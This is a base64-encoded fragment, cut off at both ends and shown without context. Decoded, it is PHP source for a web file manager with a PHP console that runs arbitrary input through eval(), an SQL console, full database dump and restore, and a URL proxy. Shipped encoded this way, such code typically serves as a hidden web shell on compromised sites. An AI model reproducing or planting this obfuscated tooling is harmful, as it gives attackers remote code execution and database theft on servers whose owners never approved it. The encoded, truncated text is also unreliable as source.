HNpemUvKDEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtUYic7IC8vOikpKQoJCWVsc2UgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IC8vIDstKQoJfSBlbHNlIHsKCQlpZihpc19maWxlKCRmKSkgcmV0dXJuIGZpbGVzaXplKCRmKTsKCgkJJHNpemU9MDsKCgkJJGRoPW9wZW5kaXIoJGYpOwoKCQl3aGlsZSgoJGZpbGU9cmVhZGRpcigkZGgpKSE9PWZhbHNlKSB7CgkJCWlmKCRmaWxlPT0nLicgfHwgJGZpbGU9PScuLicpIGNvbnRpbnVlOwoKCQkJaWYoaXNfZmlsZSgkZi4nLycuJGZpbGUpKSAkc2l6ZSs9ZmlsZXNpemUoJGYuJy8nLiRmaWxlKTsKCgkJCWVsc2UgJHNpemUrPWZtX2Rpcl9zaXplKCRmLicvJy4kZmlsZSxmYWxzZSk7CgoJCX0KCQljbG9zZWRpcigkZGgpOwoKCQlyZXR1cm4gJHNpemUrZmlsZXNpemUoJGYpOyAKCX0KfQoKCgovL3NjYW4gZGlyZWN0b3J5CmZ1bmN0aW9uIGZtX3NjYW5fZGlyKCRkaXJlY3RvcnksICRleHAgPSAnJywgJHR5cGUgPSAnYWxsJywgJGRvX25vdF9maWx0ZXIgPSBmYWxzZSkgewoJJGRpciA9ICRuZGlyID0gYXJyYXkoKTsKCglpZighZW1wdHkoJGV4cCkpewoJCSRleHAgPSAnL14nIC4gc3RyX3JlcGxhY2UoJyonLCAnKC4qKScsIHN0cl9yZXBsYWNlKCcuJywgJ1xcLicsICRleHApKSAuICckLyc7CgoJfQoJaWYoIWVtcHR5KCR0eXBlKSAmJiAkdHlwZSAhPT0gJ2FsbCcpewoJCSRmdW5jID0gJ2lzXycgLiAkdHlwZTsKCgl9CglpZihAaXNfZGlyKCRkaXJlY3RvcnkpKXsKCQkkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpOwoKCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRmaCkpKSB7CgkJCWlmKHN1YnN0cigkZmlsZW5hbWUsIDAsIDEpICE9ICcuJyB8fCAkZG9fbm90X2ZpbHRlcikgewoJCQkJICAgICAgaWYoKGVtcHR5KCR0eXBlKSB8fCAkdHlwZSA9PSAnYWxsJyB8fCAkZnVuYygkZGlyZWN0b3J5IC4gJy8nIC4gJGZpbGVuYW1lKSkgJiYgKGVtcHR5KCRleHApIHx8IHByZWdfbWF0Y2goJGV4cCwgJGZpbGVuYW1lKSkpewoJCQkJICAgICAgCSRkaXJbXSA9ICRmaWxlbmFtZTsKCgkJCQkgICAgICB9CgkJCX0KCQl9CgkJY2xvc2VkaXIoJGZoKTsKCgkJbmF0c29ydCgkZGlyKTsKCgl9CglyZXR1cm4gJGRpcjsKCn0KCmZ1bmN0aW9uIGZtX2xpbmsoJGdldCwkbGluaywkbmFtZSwkdGl0bGU9JycpIHsKCWlmIChlbXB0eSgkdGl0bGUpKSAkdGl0bGU9JG5hbWUuJyAnLmJhc2VuYW1lKCRsaW5rKTsKCglyZXR1cm4gJyZuYnNwOyZuYnNwOzxhIGhyZWY9Ij8nLiRnZXQuJz0nLmJhc2U2NF9lbmNvZGUoJGxpbmspLiciIHRpdGxlPSInLiR0aXRsZS4nIj4nLiRuYW1lLic8L2E+JzsKCn0KCmZ1bmN0aW9uIGZtX2Fycl90b19vcHRpb24oJGFyciwkbiwkc2VsPScnKXsKCWZvcmVhY2goJGFyciBhcyAkdil7CgkJJGI9JHZbJG5dOwoKCQkkcmVzLj0nPG9wdGlvbiB2YWx1ZT0iJy4kYi4nIiAnLigkc2VsICYmICRzZWw9PSRiPydzZWxlY3RlZCc6JycpLic+Jy4kYi4nPC9vcHRpb24+JzsKCgl9CglyZXR1cm4gJHJlczsKCn0KCmZ1bmN0aW9uIGZtX2xhbmdfZm9ybSAoJGN1cnJlbnQ9J2VuJyl7CnJldHVybiAnCjxmb3JtIG5hbWU9ImNoYW5nZV9sYW5nIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCTxzZWxlY3QgbmFtZT0iZm1fbGFuZyIgdGl0bGU9IicuX18oJ0xhbmd1YWdlJykuJyIgb25jaGFuZ2U9ImRvY3VtZW50LmZvcm1zW1wnY2hhbmdlX2xhbmdcJ10uc3VibWl0KCkiID4KCQk8b3B0aW9uIHZhbHVlPSJlbiIgJy4oJGN1cnJlbnQ9PSdlbic/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdFbmdsaXNoJykuJzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9ImRlIiAnLigkY3VycmVudD09J2RlJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0dlcm1hbicpLic8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJydSIgJy4oJGN1cnJlbnQ9PSdydSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9ImZyIiAnLigkY3VycmVudD09J2ZyJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0ZyZW5jaCcpLic8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJ1ayIgJy4oJGN1cnJlbnQ9PSd1ayc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdVa3JhaW5pYW4nKS4nPC9vcHRpb24+Cgk8L3NlbGVjdD4KPC9mb3JtPgonOwoKfQoJCmZ1bmN0aW9uIGZtX3Jvb3QoJGRpcm5hbWUpewoJcmV0dXJuICgkZGlybmFtZT09Jy4nIE9SICRkaXJuYW1lPT0nLi4nKTsKCn0KCmZ1bmN0aW9uIGZtX3BocCgkc3RyaW5nKXsKCSRkaXNwbGF5X2Vycm9ycz1pbmlfZ2V0KCdkaXNwbGF5X2Vycm9ycycpOwoKCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzEnKTsKCglvYl9zdGFydCgpOwoKCWV2YWwodHJpbSgkc3RyaW5nKSk7CgoJJHRleHQgPSBvYl9nZXRfY29udGVudHMoKTsKCglvYl9lbmRfY2xlYW4oKTsKCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICRkaXNwbGF5X2Vycm9ycyk7CgoJcmV0dXJuICR0ZXh0OwoKfQoKCgovL1NIT1cgREFUQUJBU0VTCmZ1bmN0aW9uIGZtX3NxbF9jb25uZWN0KCl7CglnbG9iYWwgJGZtX2NvbmZpZzsKCglyZXR1cm4gbmV3IG15c3FsaSgkZm1fY29uZmlnWydzcWxfc2VydmVyJ10sICRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLCAkZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXSwgJGZtX2NvbmZpZ1snc3FsX2RiJ10pOwoKfQoKZnVuY3Rpb24gZm1fc3FsKCRxdWVyeSl7CglnbG9iYWwgJGZtX2NvbmZpZzsKCgkkcXVlcnk9dHJpbSgkcXVlcnkpOwoKCW9iX3N0YXJ0KCk7CgoJJGNvbm5lY3Rpb24gPSBmbV9zcWxfY29ubmVjdCgpOwoKCWlmICgkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcikgewoJCW9iX2VuZF9jbGVhbigpOwkKCQlyZXR1cm4gJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3I7CgoJfQoJJGNvbm5lY3Rpb24tPnNldF9jaGFyc2V0KCd1dGY4Jyk7CgogICAgICAgICAgJHF1ZXJpZWQgPSBteXNxbGlfcXVlcnkoJGNvbm5lY3Rpb24sJHF1ZXJ5KTsKCglpZiAoJHF1ZXJpZWQ9PT1mYWxzZSkgewoJCW9iX2VuZF9jbGVhbigpOwkKCQlyZXR1cm4gbXlzcWxpX2Vycm9yKCRjb25uZWN0aW9uKTsKCiAgICAgICAgICB9IGVsc2UgewoJCWlmKCFlbXB0eSgkcXVlcmllZCkpewoJCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxdWVyaWVkKSkgewoJCQkJICAgICAgJHF1ZXJ5X3Jlc3VsdFtdPSAgJHJvdzsKCgkJCX0KCQl9CgkJJHZkdW1wPWVtcHR5KCRxdWVyeV9yZXN1bHQpPycnOnZhcl9leHBvcnQoJHF1ZXJ5X3Jlc3VsdCx0cnVlKTsJCgkJb2JfZW5kX2NsZWFuKCk7CQoJCSRjb25uZWN0aW9uLT5jbG9zZSgpOwoKCQlyZXR1cm4gJzxwcmU+Jy5zdHJpcHNsYXNoZXMoJHZkdW1wKS4nPC9wcmU+JzsKCgl9Cn0KCmZ1bmN0aW9uIGZtX2JhY2t1cF90YWJsZXMoJHRhYmxlcyA9ICcqJywgJGZ1bGxfYmFja3VwID0gdHJ1ZSkgewoJZ2xvYmFsICRwYXRoOwoKCSRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTsKCgkkZGVsaW1pdGVyID0gIjsgXG4gIFxuIjsKCglpZigkdGFibGVzID09ICcqJykJewoJCSR0YWJsZXMgPSBhcnJheSgpOwoKCQkkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOwoKCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkJewoJCQkkdGFibGVzW10gPSAkcm93WzBdOwoKCQl9Cgl9IGVsc2UgewoJCSR0YWJsZXMgPSBpc19hcnJheSgkdGFibGVzKSA/ICR0YWJsZXMgOiBleHBsb2RlKCcsJywkdGFibGVzKTsKCgl9CiAgICAgICAgICAKCSRyZXR1cm49Jyc7CgoJZm9yZWFjaCgkdGFibGVzIGFzICR0YWJsZSkJewoJCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoKCQkkbnVtX2ZpZWxkcyA9IG15c3FsaV9udW1fZmllbGRzKCRyZXN1bHQpOwoKCQkkcmV0dXJuLj0gJ0RST1AgVEFCTEUgSUYgRVhJU1RTIGAnLiR0YWJsZS4nYCcuJGRlbGltaXRlcjsKCgkJJHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KCRteXNxbGRiLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTsKCgkJJHJldHVybi49JHJvdzJbMV0uJGRlbGltaXRlcjsKCiAgICAgICAgICAgICAgaWYgKCRmdWxsX2JhY2t1cCkgewoJCWZvciAoJGkgPSAwOyAkaSA8ICRudW1fZmllbGRzOyAkaSsrKSAgewoJCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgewoJCQkJICAgICAgJHJldHVybi49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTKCc7CgoJCQkJICAgICAgZm9yKCRqPTA7ICRqPCRudW1fZmllbGRzOyAkaisrKQl7CgkJCQkgICAgICAJJHJvd1skal0gPSBhZGRzbGFzaGVzKCRyb3dbJGpdKTsKCgkJCQkgICAgICAJJHJvd1skal0gPSBzdHJfcmVwbGFjZSgiXG4iLCJcXG4iLCRyb3dbJGpdKTsKCgkJCQkgICAgICAJaWYgKGlzc2V0KCRyb3dbJGpdKSkgeyAkcmV0dXJuLj0gJyInLiRyb3dbJGpdLiciJyA7IH0gZWxzZSB7ICRyZXR1cm4uPSAnIiInOyB9CgkJCQkgICAgICAJaWYgKCRqPCgkbnVtX2ZpZWxkcy0xKSkgeyAkcmV0dXJuLj0gJywnOyB9CgkJCQkgICAgICB9CgkJCQkgICAgICAkcmV0dXJuLj0gJyknLiRkZWxpbWl0ZXI7CgoJCQl9CgkJICAgICAgICB9CgkJfSBlbHNlIHsgCgkJJHJldHVybiA9IHByZWdfcmVwbGFjZSgiI0FVVE9fSU5DUkVNRU5UPVtcZF0rICNpcyIsICcnLCAkcmV0dXJuKTsKCgkJfQoJCSRyZXR1cm4uPSJcblxuXG4iOwoKCX0KCgoKCS8vc2F2ZSBmaWxlCiAgICAgICAgICAkZmlsZT1nbWRhdGUoIlktbS1kX0gtaS1zIix0aW1lKCkpLicuc3FsJzsKCgkkaGFuZGxlID0gZm9wZW4oJGZpbGUsJ3crJyk7CgoJZndyaXRlKCRoYW5kbGUsJHJldHVybik7CgoJZmNsb3NlKCRoYW5kbGUpOwoKCSRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcbicuICRmaWxlLiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnP2RlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOwoKICAgICAgICAgIHJldHVybiAkZmlsZS4nOiAnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZmlsZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuJGZpbGUpLicgPGEgaHJlZj0iIyIgdGl0bGU9IicgLiBfXygnRGVsZXRlJykgLiAnICcuICRmaWxlIC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsKCn0KCmZ1bmN0aW9uIGZtX3Jlc3RvcmVfdGFibGVzKCRzcWxGaWxlVG9FeGVjdXRlKSB7CgkkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7CgoJJGRlbGltaXRlciA9ICI7IFxuICBcbiI7CgoKCiAgICAgICAgICAvLyBMb2FkIGFuZCBleHBsb2RlIHRoZSBzcWwgZmlsZQogICAgICAgICAgJGYgPSBmb3Blbigkc3FsRmlsZVRvRXhlY3V0ZSwicisiKTsKCiAgICAgICAgICAkc3FsRmlsZSA9IGZyZWFkKCRmLGZpbGVzaXplKCRzcWxGaWxlVG9FeGVjdXRlKSk7CgogICAgICAgICAgJHNxbEFycmF5ID0gZXhwbG9kZSgkZGVsaW1pdGVyLCRzcWxGaWxlKTsKCgoKCQogICAgICAgICAgLy9Qcm9jZXNzIHRoZSBzcWwgZmlsZSBieSBzdGF0ZW1lbnRzCiAgICAgICAgICBmb3JlYWNoICgkc3FsQXJyYXkgYXMgJHN0bXQpIHsKICAgICAgICAgICAgICBpZiAoc3RybGVuKCRzdG10KT4zKXsKCQkJJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgkc3RtdCk7CgoJCQkJICAgICAgaWYgKCEkcmVzdWx0KXsKCQkJCSAgICAgIAkkc3FsRXJyb3JDb2RlID0gbXlzcWxpX2Vycm5vKCRteXNxbGRiLT5jb25uZWN0aW9uKTsKCgkJCQkgICAgICAJJHNxbEVycm9yVGV4dCA9IG15c3FsaV9lcnJvcigkbXlzcWxkYi0+Y29ubmVjdGlvbik7CgoJCQkJICAgICAgCSRzcWxTdG10ICAgICAgPSAkc3RtdDsKCgkJCQkgICAgICAJYnJlYWs7CgogICAgICAgICAgICAgICAgIAkgICAgIH0KICAgICAgICAgICAgICAgICAJICB9CiAgICAgICAgICAgICAgICAgfQppZiAoZW1wdHkoJHNxbEVycm9yQ29kZSkpIHJldHVybiBfXygnU3VjY2VzcycpLicg4oCUICcuJHNxbEZpbGVUb0V4ZWN1dGU7CgplbHNlIHJldHVybiAkc3FsRXJyb3JUZXh0Lic8YnIvPicuJHN0bXQ7Cgp9CgpmdW5jdGlvbiBmbV9pbWdfbGluaygkZmlsZW5hbWUpewoJcmV0dXJuICcuLycuYmFzZW5hbWUoX19GSUxFX18pLic/aW1nPScuYmFzZTY0X2VuY29kZSgkZmlsZW5hbWUpOwoKfQoKZnVuY3Rpb24gZm1faG9tZV9zdHlsZSgpewoJcmV0dXJuICcKaW5wdXQsIGlucHV0LmZtX2lucHV0IHsKCXRleHQtaW5kZW50OiAycHg7Cgp9CgppbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCwgaW5wdXQuZm1faW5wdXQgewoJY29sb3I6IGJsYWNrOwoKCWZvbnQ6IG5vcm1hbCA4cHQgVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKCglib3JkZXItY29sb3I6IGJsYWNrOwoKCSAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsKCglib3JkZXItcmFkaXVzOiAwOwoKCXBhZGRpbmc6IDJweDsKCn0KCmlucHV0LmZtX2lucHV0IHsKCWJhY2tncm91bmQ6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50OwoKCSAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKCn0KCi5ob21lIHsKCWJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWdSUVRGUkYvZjM5Nk9qby8vLy90VDAyenIrZnc2NlJ0ajQzMlRFcDNNWEUyREFyM1RZcDF5NG10RHcyLzdCTS83Qk9xVnBjLzhsMzFqY3FxNmVud2NIQjJUZ2k1amdxVnBiRnZyYTJuQkFWL1B6ODJTMGpueDBXM1RVa3FTZ2k0ZUhoNFRzcmU0d29zejAyNnVQanpHWWQ2VXMzeW5BeWRVQkE1S2wzZm01ZXFaYVc3T0RnaTJWZytQajR1WStFd0xtNWJZOVUvLzdqZkx0Qyt0T0szamNtLzcxdTJqWW8xVVloNWFKbC9zZUMzakVtMTJrbUpySUExak1tLzlhVTRMaDBlMDFCbElhRS8vL2RoTWRDN0lBLy9mVFoyYzNNVzZuTjMwd2Y5NVZkNEpkWG9YVm9zOG5FNGVmTi8rNjNJSmdTbllobDdGNGNzWHQ4OUdRVXdMKy9qbDFjNDFBcStmYjJnbXRJMXJLYTJDNGtKYUlBM2pZcmxUdzV0ajQyM2pZbjNjWEUxelFveE1IQnAxbFozRGdtcWlrcy8rbWNqTEs4M2pZa3ltTVYzVFlrLy9ITSt1N1dobXRyMG9kVHBhT2pmV0pmckhwZy84QnMvN3RXLzdWZSs0VTUyRE1tM01MQm40cUxnTlZNNk16QjNsRWZsSXVMLytqQS8vLzIwTE96alh4OC83bGJXcEpHMkM4azNUb3NKS01BMXl3am9wT1IxellwNURzcGlheSt5S05ocUtTazhOVzYvZmpuczdPejJ0blp1ejg4N2IrVzNhUlkvK21zNHJDRTNUb3Q3Vjg1Ykt4anVFQTN3NDVWaDV1aHE2YW00Y0Z4Z1paVy85cUl1d2dLeTBzVyt1alQ0VFFudHo0MjNDOGkzelVqLytLdy9hNWQ2VU14dUw2d3pERXIvLy8vY3FKUWZBQUFBS3gwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL0FBV1ZGYkVBQUFBWmRFVllkRk52Wm5SM1lYSmxBRUZrYjJKbElFbHRZV2RsVW1WaFpIbHh5V1U4QUFBQTJVbEVRVlFvVTJOWWpRWVlzQWlFOFU5WXpEWWpWcEdaUnhNaUVDaXRNclZadm9NclRsUTJFU1JRSjJGVndpbllibXFUVUxvb2huRTFnMWFLR1MvZk5NdGs0MHlaOUtWTFFoZ1lrdVk3TnhRdlh5SFZGTm5LelI2OXFweEJQTWV6MEVUQVF5VFV2U29nYUlGYVBjTnFWL001ZGhhMlJsMlRpbWI2WitRQkRZMVhOL1NidTh4RkxHM2VMRGZsMlVBQmppbE8xbzAxMlozZWsxbFpWSVdBQW1VVEs2TDBzM3BYK2pqNnB1WjJBd1dVdkJSYXBoc3dNZFV1akNpd0R3YTVWRWRQSTd5blVsYzd2MXFZVVJMcXVmNDJoejQ1Q0JQRHR3QUNybStSRGN4SllBQUFBQUJKUlU1RXJrSmdnZz09Iik7CgoJYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKCn0nOwoKfQoKZnVuY3Rpb24gZm1fY29uZmlnX2NoZWNrYm94X3JvdygkbmFtZSwkdmFsdWUpIHsKCWdsb2JhbCAkZm1fY29uZmlnOwoKCXJldHVybiAnPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IGlkPSJmbV9jb25maWdfJy4kdmFsdWUuJyIgbmFtZT0iZm1fY29uZmlnWycuJHZhbHVlLiddIiB2YWx1ZT0iMSIgJy4oZW1wdHkoJGZtX2NvbmZpZ1skdmFsdWVdKT8nJzonY2hlY2tlZD0idHJ1ZSInKS4nIHR5cGU9ImNoZWNrYm94Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iZm1fY29uZmlnXycuJHZhbHVlLiciPicuJG5hbWUuJzwvdGQ+PC90cj4nOwoKfQoKZnVuY3Rpb24gZm1fcHJvdG9jb2woKSB7CglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10pKSByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10uJzovLyc7CgoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nKSByZXR1cm4gJ2h0dHBzOi8vJzsKCglpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgcmV0dXJuICdodHRwczovLyc7CgoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT0gJ2h0dHBzJykgcmV0dXJuICdodHRwczovLyc7CgoJcmV0dXJuICdodHRwOi8vJzsKCn0KCmZ1bmN0aW9uIGZtX3NpdGVfdXJsKCkgewoJcmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoKfQoKZnVuY3Rpb24gZm1fdXJsKCRmdWxsPWZhbHNlKSB7CgkkaG9zdD0kZnVsbD9mbV9zaXRlX3VybCgpOicuJzsKCglyZXR1cm4gJGhvc3QuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsKCn0KCmZ1bmN0aW9uIGZtX2hvbWUoJGZ1bGw9ZmFsc2UpewoJcmV0dXJuICcmbmJzcDs8YSBocmVmPSInLmZtX3VybCgkZnVsbCkuJyIgdGl0bGU9IicuX18oJ0hvbWUnKS4nIj48c3BhbiBjbGFzcz0iaG9tZSI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPjwvYT4nOwoKfQoKZnVuY3Rpb24gZm1fcnVuX2lucHV0KCRsbmcpIHsKCWdsb2JhbCAkZm1fY29uZmlnOwoKCSRyZXR1cm4gPSAhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlXycuJGxuZy4nX2NvbnNvbGUnXSkgPyAKCScKCQkJCSAgICAgIDxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy5mbV91cmwoKS4nIiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPgoJCQkJICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iJy4kbG5nLidydW4iIHZhbHVlPSInLnN0cnRvdXBwZXIoJGxuZykuJyAnLl9fKCdDb25zb2xlJykuJyI+CgkJCQkgICAgICA8L2Zvcm0+CicgOiAnJzsKCglyZXR1cm4gJHJldHVybjsKCn0KCmZ1bmN0aW9uIGZtX3VybF9wcm94eSgkbWF0Y2hlcykgewoJJGxpbmsgPSBzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJywkbWF0Y2hlc1syXSk7CgoJJHVybCA9IGlzc2V0KCRfR0VUWyd1cmwnXSk/JF9HRVRbJ3VybCddOicnOwoKCSRwYXJzZV91cmwgPSBwYXJzZV91cmwoJHVybCk7CgoJJGhvc3QgPSAkcGFyc2VfdXJsWydzY2hlbWUnXS4nOi8vJy4kcGFyc2VfdXJsWydob3N0J10uJy8nOwoKCWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy8vJykgewoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssZm1fcHJvdG9jb2woKSwwLDIpOwoKCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09Jy8nKSB7CgkJJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDEpOwkKCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy4vJykgewoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssJGhvc3QsMCwyKTsJCgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsNCk9PSdodHRwJykgewoKCgkJLy9hbGxlcyBtYWNoZW4gd3VuZGVyc2Nob24KCX0gZWxzZSB7CgkJJGxpbmsgPSAkaG9zdC4kbGluazsKCgl9IAoJaWYgKCRtYXRjaGVzWzFdPT0naHJlZicgJiYgIXN0cnJpcG9zKCRsaW5rLCAnY3NzJykpIHsKCQkkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsKCgkJJGJhc2VxID0gJGJhc2UuJz9wcm94eT10cnVlJnVybD0nOwoKCQkkbGluayA9ICRiYXNlcS51cmxlbmNvZGUoJGxpbmspOwoKCX0gZWxzZWlmIChzdHJyaXBvcygkbGluaywgJ2NzcycpKXsKCgoJCS8v0LrQsNC6LdGC0L4g0YLQvtC20LUg0L/QvtC00LzQtdC90Y/RgtGMINC90LDQtNC+Cgl9CglyZXR1cm4gJG1hdGNoZXNbMV0uJz0iJy4kbGluay4nIic7Cgp9CiAKZnVuY3Rpb24gZm1fdHBsX2Zvcm0oJGxuZ190cGwpIHsKCWdsb2JhbCAkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ307CgoJJHRwbF9hcnIgPSBqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSk7CgoJJHN0ciA9ICcnOwoKCWZvcmVhY2ggKCR0cGxfYXJyIGFzICRrdHBsPT4kdnRwbCkgewoJCSRzdHIgLj0gJzx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSInLiRsbmdfdHBsLidfbmFtZVtdIiB2YWx1ZT0iJy4ka3RwbC4nIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PHRleHRhcmVhIG5hbWU9IicuJGxuZ190cGwuJ192YWx1ZVtdIiAgY29scz0iNTUiIHJvd3M9IjUiIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCI+Jy4kdnRwbC4nPC90ZXh0YXJlYT4gPGlucHV0IG5hbWU9ImRlbF8nLnJhbmQoKS4nIiB0eXBlPSJidXR0b24iIG9uQ2xpY2s9InRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZSgpOyIgdmFsdWU9IicuX18oJ0RlbGV0ZScpLiciLz48L3RkPjwvdHI+JzsKCgl9CnJldHVybiAnCjx0YWJsZT4KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLnN0cnRvdXBwZXIoJGxuZ190cGwpLicgJy5fXygndGVtcGxhdGVzJykuJyAnLmZtX3J1bl9pbnB1dCgkbG5nX3RwbCkuJzwvdGg+PC90cj4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRsbmdfdHBsLiciIG5hbWU9InRwbF9lZGl0ZWQiPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj4nLl9fKCdOYW1lJykuJzwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdWYWx1ZScpLic8L3RkPjwvdHI+CicuJHN0ci4nCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCBuYW1lPSJyZXMiIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0iZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWVcJzsiIHZhbHVlPSInLl9fKCdSZXNldCcpLiciLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA+PC90ZD48L3RyPgo8L2Zvcm0+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9IicuJGxuZ190cGwuJ19uZXdfbmFt